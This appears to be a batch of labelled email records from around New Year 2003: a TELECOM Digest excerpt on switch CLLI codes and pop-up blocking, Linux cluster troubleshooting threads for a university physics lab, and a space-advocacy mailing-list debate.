I tried to call a real number, it denied me the privilege or, in another case offered to let me key in a credit card number (which I didn't try as I didn't have time and it wasn't so important anyhow). So it's either your phone or your region that's the problem. [I've since dropped Sprint, partly because I needed a new phone and someone else had good cheaper phones and at least equivalent plans (I think Sprint would have modified my plan nicely to retain me if I'd given them the chance), and more important, my home location, which is marginal on Sprint, was known to me to have better coverage on the new service.] JBL ------------------------------ Date: Thu, 2 Jan 2003 02:02:00 CST From: Sam Etler Subject: Re: Pacific Bell Central Office Names > Verizon uses nice simplistic names for switches here in RI. > PRVDRIWA is the switch on Washington Street in downtown Providence. > PRVDRIBR is the swtich on Broad Street on the southern side of the city. > NPRVRIMS is the switch on Mineral Spring Avenue in North Providence. > EPRVRINB is the swtich on North Broadway in East Providence. These are what are known as CLLI codes (Common Language Location Identifier). The codes above refer to the building that the switch is in. The switch itself will have a CLLI code such as PRVDRIWADS2. PRVD is the city, RI the state, WA the building code, DS2 the equipment or location within that building (I've seen where cages within a datacenter have their own code as opposed to incidental equipment in that cage). So for instance at the PRVDRIWA office these are some of the codes in use: PRVDRIWA06T DMS-200 Tandem PRVDRIWA23W No. 2 STP PRVDRIWADS2 DMS-100 Local switch There's others as well since most equipment in a CO will have a CLLI code. The last three alphanumerics can give an indication to the general type of equipment. nnT is often a tandem. nnW is often a STP or SCP. DSn is a digital switch. CGn is a non-digital electronic switch (1A ESS for instance, stands for Control Group). RSn is a digital remote switch. CMn is a Cellular Mobile switch. You'll rarely see them, but SGn was used for Step switches (Selector Group) and MGx for Crossbars (Marker Group). Some carriers (AT&T for instance) combine CLLI codes to create Trunk Group identifiers. So for instance the wonderfully cryptic SNJSCA0241TSNTDCABXN021701 indicates: A Location: SNJSCA0241T (San Jose, CA 4ESS) Z Location: SNTDCABXN02 (Santa Clara, CA datacenter cage) 1701: BTFN (Base Traffic Number) of the Trunk Group on that 4ESS CLLI codes are managed by Telcordia. They also allocate CLEI (Equipment Identifier) codes, CLFI (Facility Identifier) codes, CLCI (Circuit Identifier) codes, and other various codes. sam ------------------------------ From: Phil Earnhardt Subject: Re: Pop-ups Add New Twist Date: Thu, 02 Jan 2003 06:45:38 -0700 On Sun, 22 Dec 2002 00:54:41 -0500, Monty Solomon wrote: > Pop-up advertisements, already the bane of millions of Web surfers, > are becoming more intrusive. Mozilla (downloadable from www.mozilla.org) now allows you to categorically disable pop-up windows. Preferences->Advanced->Scripts&Windows has a check-box to enable unrequested windows. By un-checking this, all JavaScript pop-ups are gone. This is distinct from links that open a new window when you click them. These are windows you're [implicitly] requesting; spammers don't use this feature. Mozilla has a check-box to disable these windows, but I see no reason to disable them. Mozilla also has another option to change the behavior of animations to running only once or not at all. This kills the banner advertisements where the advertisements suck processor resources infinitely cycling through color maps or ""vibrating"" the advertisement. And you apparently stop winning the ""If this box is flashing, you're a winner!!!"" advertisements. ;-) Running with these two features has dramatically altered my browsing experience. I forget how hostile the web is until I use a computer that isn't configured this way. Netscape 7, based on Mozilla, also has both of these features available. However, they do not have the the check-box to disable the opening of unrequested windows. Fortunately, you can still add the preference by just adding the line: user_pref(""dom.disable_open_during_load"", true); to your user.js or prefs.js. On windows machines, this file is in a hidden directory and it must be edited when Netscape 7 is not running. The site http://techaholic.net/ns7.html is a good resource for info about Mozilla/Netscape 7. Categorically disabling pop-ups will break some sites that use them for non-advertising purposes. My guess is that such sites will rapidly abandon this Javascript feature precisely because users are turning them off. If you still use sites that use pop-ups, you can run with Mozilla and turn the feature on as you need it. There is one ""digital divide"": households that have Internet access vs. households that don't. Some point to a second divide: high-speed digital access vs. dial-up access. I think there's a third divide that may be more important than the second: users who know how to take effective countermeasures against unsolicited commercial intrusions (e.g. unsolicited commercial email, pop-up advertising, etc.) and those who don't. --phil ------------------------------ From: Michael A. Covington Subject: Re: So Many Holes, So Few Hacks Date: Thu, 2 Jan 2003 10:56:37 -0500 Gene wrote in message news:telecom22.214.4@telecom-digest.org: > They do not spend enough time on it. If the industry doesn't do it, > our enemies will. Being someone who manages web sites and actual > servers for multiple companies (some large and some very small), I can > definitely guarantee you that hackers routinely try the Microsoft IIS > hacks to gain access to public servers. Yes -- This happens to us too; many times a day, almost exactly the same commands are tried, and they always fail. (Microsoft's IIS Lockdown Kit with URLSCAN does its job.) My understanding is that we are actually looking at viruses doing the probing automatically. What they'd do if they got in, I'm not sure. ------------------------------ From: dold@75.usenet.us.com Subject: Re: Call Waiting Prison and Telemarketers Date: Thu, 2 Jan 2003 18:53:40 UTC Organization: a2i network CB wrote: > Then, of course, you have Call Waiting - Caller ID so you can look and > see who is trying to reach you and then make the appropriate decisions > as to wether you should terminate the first call and take the second, > ignore the second caller, etc. I had that feature in a house where three people were sharing a phone. Technically, it is an annoyance, as you now get to hear, not only the call waiting tone, but apparently the caller ID burst of modem data. Nice feature, bad implementation. ------------------------------ From: harryhydro@hotmail.com (harry) Subject: Modular ICS + Startalk Date: 2 Jan 2003 07:01:43 -0800 Organization: http://groups.google.com/ Hi: I hope I'm giving you enough info. This ICS has system version SP: 30JBM03 NAT. In the past we've tried to put a Startalk on but had problems that was stated to be System Version issues.. Is this ture or is this system capable of supporting a Startalk? Thanks! Harry ------------------------------ From: reedl@tatteredcover.com (Reed Loefgren) Subject: Very Newbie Reboot Question Date: 2 Jan 2003 13:53:57 -0800 Organization: http://groups.google.com/ I have an SX-2000 Light system. I have never rebooted it except when the power failed. I've looked in the docs I have and cannot find mention of a command to reboot (or shutdown) except for: PROGrammed Reboot SCHedule . I don't want to schedule a repetitive reboot. 'spose I could issue 'reboot' but are there any systems that need to be offline before I do this, or does reboot handle all this, like a PC would? Thanks for the handholding, rl ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. You may reprint articles in some other media on an occasional basis, but please attribute my work and that of the original author. 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End of TELECOM Digest V22 #215 ******************************",0,1 steven james ,gilfoyle ,"Fri, 20 Dec 2002 16:05:50 -0500",Re: yet another question,"Greetings, That's great news! factor of 83 is tremendous! G'day, sjames On Fri, 20 Dec 2002, gilfoyle wrote: > thanks gobs. it runs fine now. the problem we were struggling with > (i'm sure you're dying to know) is that we were running our > analysis code (Root) using Root's internal C interpreter. i wanted > to create a compiled version where my analysis class was compiled > and included in my own, local version of root. the reason for doing > this is pure speed. i just did a test and the compiled version is > 83 times faster than the interpreted version. > > jerry > > steven james wrote: > > > > Greetings, > > > > I went and fixed the problem, hope you don't mind :-) > > > > The path to libGui.so was in /etc/ld.so.conf as it should be, but wasn't > > in /etc/ld.so.cache. > > > > The solution was to run ldconfig -v as root so that the linker would know > > about the library at run time. > > > > The clue was running ldd ~gilfoyle/eod/root/gpg_linux.old (found using > > locate gpg_root) and seeing that ldd didn't know where libGui.so lived. > > > > As long as the library directory is in the shared filespace (that is, > > under /usr anywhere), is listed in ld.so.conf, and ldconfig has been run, > > it will be found. The solution to the last problem was that I made > > anything under /usr an O.K. place for libraries. > > > > G'day, > > sjames > > > > On Thu, 19 Dec 2002, gilfoyle wrote: > > > > > Hi Steven, > > > > > > The Richmond cluster has been running pretty reliably for > > > the last couple of weeks so, of course, I have to go and > > > try something new. The problem is the following. > > > > > > 1. The C++ codes we write for Root are usually 'interpreted' > > > with a program called CINT. CINT is a convenient interactive > > > environment, but slow. > > > > > > 2. To speed things you can recompile and link Root with your > > > own personal routines that should now run about 10 times faster. > > > This creates a new executable with your own local classes. > > > > > > 3. I have done this on pscm1 and the code compiles and links, > > > but when I run it on the master I get the following message. > > > My version of Root is called gpg_linux. > > > > > > pscm1:root> gpg_linux > > > gpg_linux: error while loading shared libraries: libGui.so: cannot open > > > shared object file: No such file or directory > > > > > > The shared library libGui.so is in the area $ROOTSYS/lib as it is > > > supposed to be and the environment variable LD_LIBRARY_PATH has > > > $ROOTSYS/lib in it as prescribed in the Root documentation. This > > > problem is reminiscent of the problem we had when we could not > > > run root on the slave nodes because the Root libraries were not > > > in the standard place. Where is that standard place? Could this > > > be related? I can run the standard root (in $ROOTSYS/bin) with > > > not trouble. $ROOTSYS is set to /usr/local/PRO. Any help you > > > can give would be appreciated. > > > > > > thanks-in-advance, > > > > > > jerry > > > > > > > > > > -- > > -------------------------steven james, director of research, linux labs > > ... ........ ..... .... 230 peachtree st nw ste 701 > > the original linux labs atlanta.ga.us 30303 > > -since 1995 http://www.linuxlabs.com > > office 404.577.7747 fax 404.577.7743 > > ----------------------------------------------------------------------- > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 Luminita Todor ,gilfoyle ,"Fri, 20 Dec 2002 16:46:45 -0500",Motif," Dear Gerry & Mike, Today I met Sasko and we installed/uninstalled Motif to compile all CLAS software on pscm1. To start with on the Linux trio we have RedHat7.3 with OpenMotif; the debuger ddd is linked of one of Motif library and asks for version 3 - while we had/need only 2 to have CLAS software compiled. We backed up everything there. We went to pscm1. There the OS is Linux RedHat 7.2 and was installed lesstif (another Motif version). Again ddd had dependence of a Motif library, so forced us to uninstall ddd to be able to uninstall lesstif. With the Motif 2.1.10 installed- the CD was in the terminal room - gsim_int linked without problems. We lost ddd on pscm1; however I guess debugging can be done on the other Linux machines and only final code recompiled for the cluster. These being done and written I think I finished the CLAS software upgrade together with database replication on UR cluster. For sure later reinterations of the process will be easier and faster. Happy New Year to you and your families. Luminita Todor postdoctoral research associate Carnegie Mellon University, Pittsburgh, PA research site - Thomas Jefferson National Facility / Hall B tel. 757-269-5538 ",0,0 KellySt@aol.com,"lparker@cacaphony.net, starship-design@lists.uoregon.edu","Tue, 24 Dec 2002 00:20:24 -0500",Re: starship-design: Earth's Groundhog Days Continue Thirty Years Later," In a message dated 12/19/02 10:25:41 PM, lparker@cacaphony.net writes: >What We're Doing Doesn't Work: If our goal is to build a permanent, > >sustainable human presence in space, we have to begin by acknowledging > >failure. We're not there; we don't have the ""2001: A Space Odyssey"" future. > > > >The observation is obvious, but much of the space community has failed >to > >draw the logical conclusion: the methods we've been using to achieve our > >goals have failed. Or, the goal itself is a dude? We never settled America to settle America. We settled it to make money or such. Thats not what advocates focus on. === >A space-enthusiast effort focused on government-agency boosterism has > >failed. Entrepreneurial efforts ungrounded in incrementalism and ruthless > >financial realism have failed. Bingo. >""Space is cool"" educational programs have > >failed. Success will require not just new approaches but an end to wasting > >efforts on the old ones. You can't dig your way out of a hole. Bingo >The primary work product of NASA and Big Aerospace is ""viewgraph > >engineering:"" ferociously expensive studies that generate beautiful artwork > >of cool spaceships - and nothing else. Nobody other than newcomers believes > >any of the stuff will ever be built. NASA's job is spectacal and good press. >The cynicism behind such efforts, verging on corruption where public funds > >are involved, is corrosive to the credibility of the entire space > >enterprise. The same holds true with much of the outreach focused on > >schoolchildren: that captive audience has a fine nose for adult > >speciousness, and they're not buying outer-space gee-whiz: they can see >the > >level of interest and attention paid to space by their parents and the > >media, and can see for themselves that the humans-in-space effort in > >particular is ghastly dull. Yup. They know its BS PR. Space was a dead frounteer long before they were born, and they know it. ==== >Bureaucracies Aren't Bold: Another lesson that should be obvious, this >one > >has escaped government space supporters and critics alike. Governmental > >efforts can't afford to fail, but they can afford not to succeed. Now your thinking like NASA. The prime directive is to never do anything that looks bad! ===== >What would be useful? Efforts increasing interconnectedness and > >communications: commercial suborbital vehicles fit that bill. A counter >to > >fears of terrorism, more than to its actuality - which is why ballistic > >missile defense remains a priority. None of these ae, or should be, relaed to NASA. >So long as SUV sales continue to increase, our society remains unwilling >to > >confront the consequences of its demands for energy and raw materials, >and > >unwilling to perceive any need for change. Once it does, expansion of our > >material resource base may become useful quite soon, enabling solar power > >satellites and asteroid mining. This is a myth. Oil will last far far longerthen we will neede it to, and Earth is to rich in or to need asteroid matierial. The refined materials cost less per pounnd then any near term shiping costs of anything back from the asteroids. >We Need Skills: We really do have things to learn before we can live and > >work in space and expand outward through the solar system. By focusing >on > >endless human microgravity studies - and ignoring Russian data in the > >field - NASA has squandered opportunities to grow and learn during its >long > >Groundhog Day. The data showsthat you do not want to keep folks in lkow to zero G. I.E. big wheeled statinos or not. Whicjh does lesve anything for NASA to study -- and they live for endless studies! ====== >The discipline to abandon his grandiose bluster in favor of daily > >incremental progress was one of the keys to his release. It is ours as >well. > >A new generation of rocket entrepreneurs is starting small, building, > >testing and flying hardware in steady development. Now your back in the NASA game. We don't need to study this stuff. Firms will do that for you IF YOU SUPPY A MARKET TO BUY THEM!!! The Rocket entrepreneurs are kiding themselves. TRying to start a aitline, by trying to backyard tinker a airliner - is a waste of time. The areo companies know how to make cost effective, relyable, aero space craft -- and investors will trust their gear a lot more then one you make. The areo companies just don't know how to run a air/space line profoitably. THATS what the rocket entrepreneurs need to focus on and solve. Problem is they are frustrated engineers who really would rather develop space craft. ;) Kelly ",0,0 """Souleret, George"" ","""Gilfoyle, Gerard"" ","Thu, 02 Jan 2003 10:57:34 -0500",RE: some questions,"Jerry- The air-conditioner is a 5-ton unit (approximately 60,000 btuh total capacity) and has a low-ambient kit for running when it is cold outside. The electrical panel is a 100-amp three phase unit, and runs the computer cluster. I would need to get an ammeter placed on it to see what current load it has to see how much (if any) spare capacity there is. George -----Original Message----- From: Gerard P. Gilfoyle [mailto:ggilfoyl@richmond.edu] Sent: Thursday, December 26, 2002 9:22 AM To: gsoulere@richmond.edu Subject: some questions Hi George, Merry Christmas! I have a couple of questions about the new supercomputer lab that we put together last year. This is room N-207 in Gottwald. What is the size of the air conditioner that was put in the room? Also do you know how much current we can draw from that new circuit board in the cluster lab? thanks-in-advance, jerry -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 >From - Thu Jan 2 16:56:32 2003 Return-Path: Received: from argyle.richmond.edu (argyle.richmond.edu [141.166.188.18]) by tartan.richmond.edu (8.11.2/8.11.2) with ESMTP id h02Kp9Z24639 for ; Thu, 2 Jan 2003 15:51:09 -0500 Received: from monty.richmond.edu (monty.richmond.edu [141.166.188.13]) by argyle.richmond.edu (8.11.6/8.11.6) with ESMTP id h02KnvW17089 for ; Thu, 2 Jan 2003 15:49:57 -0500 Received: from penny.richmond.edu (penny.richmond.edu [141.166.188.34]) by monty.richmond.edu (8.11.6/8.11.6) with SMTP id h02KsEV20256 for ; Thu, 2 Jan 2003 15:54:14 -0500 Received: from polyester.richmond.edu ([141.166.188.14]) by penny.richmond.edu (NAVGW 2.5.2.17) with SMTP id M2003010215495017645 for ; Thu, 02 Jan 2003 15:49:50 -0500 Received: from ucontrol.mobiledns.com (ucontrol.mobiledns.com [216.162.33.29]) by polyester.richmond.edu (8.11.6/8.11.6) with ESMTP id h02Knoq25187 for ; Thu, 2 Jan 2003 15:49:50 -0500 Received: from localhost (pyro@localhost) by ucontrol.mobiledns.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id h02KnnY12283 for ; Thu, 2 Jan 2003 15:49:49 -0500 Date: Thu, 2 Jan 2003 15:49:49 -0500 (EST) From: steven james X-Sender: pyro@ucontrol.mobiledns.com To: gilfoyle Subject: Re: even more questions about the Richmond cluster In-Reply-To: <3E149D0C.1B6A185F@richmond.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-MailScanner: Found to be clean X-MailScanner-SpamCheck: not spam, SpamAssassin (score=-2.5, required 5, EMAIL_ATTRIBUTION, IN_REP_TO, SIGNATURE_LONG_SPARSE, SPAM_PHRASE_00_01, USER_AGENT_PINE) Status: X-Mozilla-Status: 8011 X-Mozilla-Status2: 00000000 X-UIDL: 38eb267300004762 Greetings, Life?!? I can relate! G'day, sjames On Thu, 2 Jan 2003, gilfoyle wrote: > thanks! > > i'll work on this some more this evening (life?, what life?). > > jerry > > Steven James wrote: > > > > Greetings, > > > > This time, I will answer inline: > > > > Quoting gilfoyle : > > > > > hi steven, > > > > > > thanks for the quick response. a couple more questions. i cc'ed mike > > > vineyard so he hears the latest. > > > > > > 1. can we just turn off sending mail to the user? it would be painful > > > if > > > i got 160 emails every time i do an analysis run. > > > > > If all stdout and stderr from the job is redirected into a file, no mail will be > > sent. > > > > > 2. i have heard that sendmail has some security problems. is that true? > > > otherwise i have no great problem running it beyond point #1. > > > > > Sendmail does have security problems. I wouldn't allow the outside world to talk > > to it. The problems are not of the remote execution or gain root privs variety, > > the major problem is spammers using it as a relay. > > > > > 3. i've already symlinked /var/spool/at/spool to /data3/spool so it has > > > > > > plenty of space. it seems like an easy fix to do the same with > > > /var/spool/mqueue. > > > > > Agreed. That would certainly take care of the problems with exceeding the var > > filesystem. > > > > > 4. running one job per compute node is fine. > > > > > > i've also noticed a couple of other things. using beomap to allocate > > > nodes > > > creates the following 'problem'. by compiling root we gained a very > > > large (83) > > > factor in speed. this means the many of the runs get analyzed in a few > > > minutes thus freeing up that node. with the long sleep time i'm using > > > between > > > job submissions, the low-number slave nodes are usually done before we > > > get to the high-number nodes. on the analysis run this morning i did > > > not > > > use any node about 14. this also means there is lots of data dumped on > > > the > > > first few nodes (about 11 GBytes in several cases). this has the danger > > > of > > > filling up the slave's disk (which holds 18 GByte). perhaps picking the > > > slave nodes 'by hand' as i do in one of my scripts is a better way to > > > distrubute the jobs?? > > > > > > > Assigning in a round robin sounds like a good way to go there. I hope to have > > significant improvements to the batch system in the next couple of months. I > > will certainly keep you posted. > > > > I did some testing on the batch system. It is quite likely that the problem is > > that batch is failing to insert NO_LOCAL=1 into the environment (which causes > > bogus decisions from beomap that atd throws out). Adding NO_LOCAL=1 to the > > environment when using batch may be of help. > > > > G'day, > > sjames > > > > > Steven James wrote: > > > > > > > > Greetings, > > > > > > > > Just for variety, I'll answer the questions from easy to hard order > > > :-) > > > > > > > > /var/spool/mqueue filling: > > > > var/spool/mqueue is where outgoing mail goes for sendmail to process > > > (even if > > > > it's going from and to a local user). > > > > > > > > Currently, sendmail isn't running on pscm1, so the mail piles up in > > > mqueue > > > > rather than being delivered to user mailbox files in /var/spool/mail. > > > > > > > > /var/spool/at is where the batch system holds job output until > > > completion. Upon > > > > completion, it will mail the output to the job's owner. > > > > > > > > Probably, sendmail should be running on the master. > > > > > > > > To avoid overfilling /var, /var/spool can either be symlinked to a > > > larger volume > > > > (/usr or to one of the RAID volumes) or have your batch scripts > > > redirect the > > > > output to a scratch file and then move (or bpcp) it to the user's home > > > directory > > > > when the run is complete. > > > > > > > > I am currently tracking down a bug in the batch queue that pushes jobs > > > off to > > > > the b queue and leaves them there when they can't be immediatly > > > dispatched. I > > > > believe there is a workaround for that, I'll dig that up and send it > > > to you. The > > > > ultimate solution will be an update to the at rpm. > > > > > > > > Changing the loadaverage threshold won't do anything here. The bproc > > > mods to the > > > > batch queue system use a 'slot allocation' rather than loadavg. The > > > slot > > > > allocator assumes that the best allocation is 1 job per CPU on a > > > compute node. > > > > > > > > That is done for three reasons. First, that's generally a better > > > allocation for > > > > any scientific computation while loadavg is better suited for general > > > purpose > > > > servers. Second, loadavg is more expensive to compute in that it will > > > generate > > > > extra net traffic and disrupt the cache and take extra locks on the > > > compute > > > > nodes (which will hurt performance). Compute jobs often have bursts of > > > I/O where > > > > the job will sleep waiting, followed by long periods of pure > > > computation. That > > > > can cause a brief dip in apparent loadavg and lead to bad > > > allocations. > > > > > > > > G'day, > > > > sjames > > > > > > > > Quoting gilfoyle : > > > > > > > > > Hi Steven, > > > > > > > > > > Happy New Year and yet another question about the Richmond > > > cluster. > > > > > I have been experimenting with different ways of running the > > > cluster > > > > > and I have run into a problem with the batch system. I'm submitting > > > > > jobs in two different ways; one uses the beomap command to allocate > > > > > slave nodes and the other just picks the slave nodes `by hand'. I'm > > > > > using this second method because the limiting factor now is the > > > > > ability to transfer the data files to the slave nodes. I was > > > thinking > > > > > that I could transfer the data on the first pass and leave it there > > > > > for later passes to speed things up. The problem now is that after > > > > > many jobs are submitted (from 60-100 of so) the remaining jobs get > > > > > sent to the `b' batch queue and never run. This has happened even > > > when > > > > > the /var/spool area is not full. My thoughts are the following. > > > > > > > > > > 1. Can we reset the average cpu load with the 'atd -l' command? > > > I've > > > > > tried this and it seems to have little effect. > > > > > > > > > > 2. Can we restart the jobs in the queue? Now they just sit there > > > and > > > > > never get started. > > > > > > > > > > 3. In some of the recent analysis runs, the /var/spool/mqueue area > > > has > > > > > filled up and hung things up. Before it was the /var/spool/at or > > > > > /var/spool/mail areas. Do you have any idea what would cause that? > > > > > Should we make a link for /var/spool/mqueue to one of RAID disks so > > > > > there is plenty of space? > > > > > > > > > > Let me know what you think? > > > > > > > > > > Thanks-in-advance, > > > > > > > > > > jerry > > > > > > > > > > -- > > > > > Dr. Gerard P. Gilfoyle > > > > > Physics Department e-mail: ggilfoyl@richmond.edu > > > > > University of Richmond, VA 23173 phone: 804-289-8255 > > > > > USA fax: 804-289-8482 > > > > > > > > > > > > > ----------------------------steven james, director of research, linux > > > labs > > > > > > > > LinuxBIOS Cluster Solutions 230 peachtree st nw ste > > > 2705 > > > > > > > > High-Speed Colocation, Hosting, atlanta.ga.us > > > 30303 > > > > > > > > Linux Hardware, Development & Support > > > http://www.linuxlabs.com > > > > > > > > * Visit us at SuperComputing 2002, Booth 1441 * office/fax > > > 404.577.7747/3 > > > > > > > > > > > -------------------------------------------------------------------------- > > > > > > -- > > > Dr. Gerard P. Gilfoyle > > > Physics Department e-mail: ggilfoyl@richmond.edu > > > University of Richmond, VA 23173 phone: 804-289-8255 > > > USA fax: 804-289-8482 > > > > > > > ----------------------------steven james, director of research, linux labs > > > > LinuxBIOS Cluster Solutions 230 peachtree st nw ste 2705 > > > > High-Speed Colocation, Hosting, atlanta.ga.us 30303 > > > > Linux Hardware, Development & Support http://www.linuxlabs.com > > > > * Visit us at SuperComputing 2002, Booth 1441 * office/fax 404.577.7747/3 > > > > -------------------------------------------------------------------------- > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 -----------------------------------------------------------------------",0,1 Steven James ,"ggilfoyl@richmond.edu, gilfoyle ","Thu, 02 Jan 2003 11:02:13 -0500",Re: even more questions about the Richmond cluster,"Greetings, Just for variety, I'll answer the questions from easy to hard order :-) /var/spool/mqueue filling: var/spool/mqueue is where outgoing mail goes for sendmail to process (even if it's going from and to a local user). Currently, sendmail isn't running on pscm1, so the mail piles up in mqueue rather than being delivered to user mailbox files in /var/spool/mail. /var/spool/at is where the batch system holds job output until completion. Upon completion, it will mail the output to the job's owner. Probably, sendmail should be running on the master. To avoid overfilling /var, /var/spool can either be symlinked to a larger volume (/usr or to one of the RAID volumes) or have your batch scripts redirect the output to a scratch file and then move (or bpcp) it to the user's home directory when the run is complete. I am currently tracking down a bug in the batch queue that pushes jobs off to the b queue and leaves them there when they can't be immediatly dispatched. I believe there is a workaround for that, I'll dig that up and send it to you. The ultimate solution will be an update to the at rpm. Changing the loadaverage threshold won't do anything here. The bproc mods to the batch queue system use a 'slot allocation' rather than loadavg. The slot allocator assumes that the best allocation is 1 job per CPU on a compute node. That is done for three reasons. First, that's generally a better allocation for any scientific computation while loadavg is better suited for general purpose servers. Second, loadavg is more expensive to compute in that it will generate extra net traffic and disrupt the cache and take extra locks on the compute nodes (which will hurt performance). Compute jobs often have bursts of I/O where the job will sleep waiting, followed by long periods of pure computation. That can cause a brief dip in apparent loadavg and lead to bad allocations. G'day, sjames Quoting gilfoyle : > Hi Steven, > > Happy New Year and yet another question about the Richmond cluster. > I have been experimenting with different ways of running the cluster > and I have run into a problem with the batch system. I'm submitting > jobs in two different ways; one uses the beomap command to allocate > slave nodes and the other just picks the slave nodes `by hand'. I'm > using this second method because the limiting factor now is the > ability to transfer the data files to the slave nodes. I was thinking > that I could transfer the data on the first pass and leave it there > for later passes to speed things up. The problem now is that after > many jobs are submitted (from 60-100 of so) the remaining jobs get > sent to the `b' batch queue and never run. This has happened even when > the /var/spool area is not full. My thoughts are the following. > > 1. Can we reset the average cpu load with the 'atd -l' command? I've > tried this and it seems to have little effect. > > 2. Can we restart the jobs in the queue? Now they just sit there and > never get started. > > 3. In some of the recent analysis runs, the /var/spool/mqueue area has > filled up and hung things up. Before it was the /var/spool/at or > /var/spool/mail areas. Do you have any idea what would cause that? > Should we make a link for /var/spool/mqueue to one of RAID disks so > there is plenty of space? > > Let me know what you think? > > Thanks-in-advance, > > jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 > ----------------------------steven james, director of research, linux labs LinuxBIOS Cluster Solutions 230 peachtree st nw ste 2705 High-Speed Colocation, Hosting, atlanta.ga.us 30303 Linux Hardware, Development & Support http://www.linuxlabs.com * Visit us at SuperComputing 2002, Booth 1441 * office/fax 404.577.7747/3 --------------------------------------------------------------------------",0,1 Steven James ,gilfoyle ,"Thu, 02 Jan 2003 13:51:49 -0500",Re: even more questions about the Richmond cluster,"Greetings, This time, I will answer inline: Quoting gilfoyle : > hi steven, > > thanks for the quick response. a couple more questions. i cc'ed mike > vineyard so he hears the latest. > > 1. can we just turn off sending mail to the user? it would be painful > if > i got 160 emails every time i do an analysis run. > If all stdout and stderr from the job is redirected into a file, no mail will be sent. > 2. i have heard that sendmail has some security problems. is that true? > otherwise i have no great problem running it beyond point #1. > Sendmail does have security problems. I wouldn't allow the outside world to talk to it. The problems are not of the remote execution or gain root privs variety, the major problem is spammers using it as a relay. > 3. i've already symlinked /var/spool/at/spool to /data3/spool so it has > > plenty of space. it seems like an easy fix to do the same with > /var/spool/mqueue. > Agreed. That would certainly take care of the problems with exceeding the var filesystem. > 4. running one job per compute node is fine. > > i've also noticed a couple of other things. using beomap to allocate > nodes > creates the following 'problem'. by compiling root we gained a very > large (83) > factor in speed. this means the many of the runs get analyzed in a few > minutes thus freeing up that node. with the long sleep time i'm using > between > job submissions, the low-number slave nodes are usually done before we > get to the high-number nodes. on the analysis run this morning i did > not > use any node about 14. this also means there is lots of data dumped on > the > first few nodes (about 11 GBytes in several cases). this has the danger > of > filling up the slave's disk (which holds 18 GByte). perhaps picking the > slave nodes 'by hand' as i do in one of my scripts is a better way to > distrubute the jobs?? > Assigning in a round robin sounds like a good way to go there. I hope to have significant improvements to the batch system in the next couple of months. I will certainly keep you posted. I did some testing on the batch system. It is quite likely that the problem is that batch is failing to insert NO_LOCAL=1 into the environment (which causes bogus decisions from beomap that atd throws out). Adding NO_LOCAL=1 to the environment when using batch may be of help. G'day, sjames > Steven James wrote: > > > > Greetings, > > > > Just for variety, I'll answer the questions from easy to hard order > :-) > > > > /var/spool/mqueue filling: > > var/spool/mqueue is where outgoing mail goes for sendmail to process > (even if > > it's going from and to a local user). > > > > Currently, sendmail isn't running on pscm1, so the mail piles up in > mqueue > > rather than being delivered to user mailbox files in /var/spool/mail. > > > > /var/spool/at is where the batch system holds job output until > completion. Upon > > completion, it will mail the output to the job's owner. > > > > Probably, sendmail should be running on the master. > > > > To avoid overfilling /var, /var/spool can either be symlinked to a > larger volume > > (/usr or to one of the RAID volumes) or have your batch scripts > redirect the > > output to a scratch file and then move (or bpcp) it to the user's home > directory > > when the run is complete. > > > > I am currently tracking down a bug in the batch queue that pushes jobs > off to > > the b queue and leaves them there when they can't be immediatly > dispatched. I > > believe there is a workaround for that, I'll dig that up and send it > to you. The > > ultimate solution will be an update to the at rpm. > > > > Changing the loadaverage threshold won't do anything here. The bproc > mods to the > > batch queue system use a 'slot allocation' rather than loadavg. The > slot > > allocator assumes that the best allocation is 1 job per CPU on a > compute node. > > > > That is done for three reasons. First, that's generally a better > allocation for > > any scientific computation while loadavg is better suited for general > purpose > > servers. Second, loadavg is more expensive to compute in that it will > generate > > extra net traffic and disrupt the cache and take extra locks on the > compute > > nodes (which will hurt performance). Compute jobs often have bursts of > I/O where > > the job will sleep waiting, followed by long periods of pure > computation. That > > can cause a brief dip in apparent loadavg and lead to bad > allocations. > > > > G'day, > > sjames > > > > Quoting gilfoyle : > > > > > Hi Steven, > > > > > > Happy New Year and yet another question about the Richmond > cluster. > > > I have been experimenting with different ways of running the > cluster > > > and I have run into a problem with the batch system. I'm submitting > > > jobs in two different ways; one uses the beomap command to allocate > > > slave nodes and the other just picks the slave nodes `by hand'. I'm > > > using this second method because the limiting factor now is the > > > ability to transfer the data files to the slave nodes. I was > thinking > > > that I could transfer the data on the first pass and leave it there > > > for later passes to speed things up. The problem now is that after > > > many jobs are submitted (from 60-100 of so) the remaining jobs get > > > sent to the `b' batch queue and never run. This has happened even > when > > > the /var/spool area is not full. My thoughts are the following. > > > > > > 1. Can we reset the average cpu load with the 'atd -l' command? > I've > > > tried this and it seems to have little effect. > > > > > > 2. Can we restart the jobs in the queue? Now they just sit there > and > > > never get started. > > > > > > 3. In some of the recent analysis runs, the /var/spool/mqueue area > has > > > filled up and hung things up. Before it was the /var/spool/at or > > > /var/spool/mail areas. Do you have any idea what would cause that? > > > Should we make a link for /var/spool/mqueue to one of RAID disks so > > > there is plenty of space? > > > > > > Let me know what you think? > > > > > > Thanks-in-advance, > > > > > > jerry > > > > > > -- > > > Dr. Gerard P. Gilfoyle > > > Physics Department e-mail: ggilfoyl@richmond.edu > > > University of Richmond, VA 23173 phone: 804-289-8255 > > > USA fax: 804-289-8482 > > > > > > > ----------------------------steven james, director of research, linux > labs > > > > 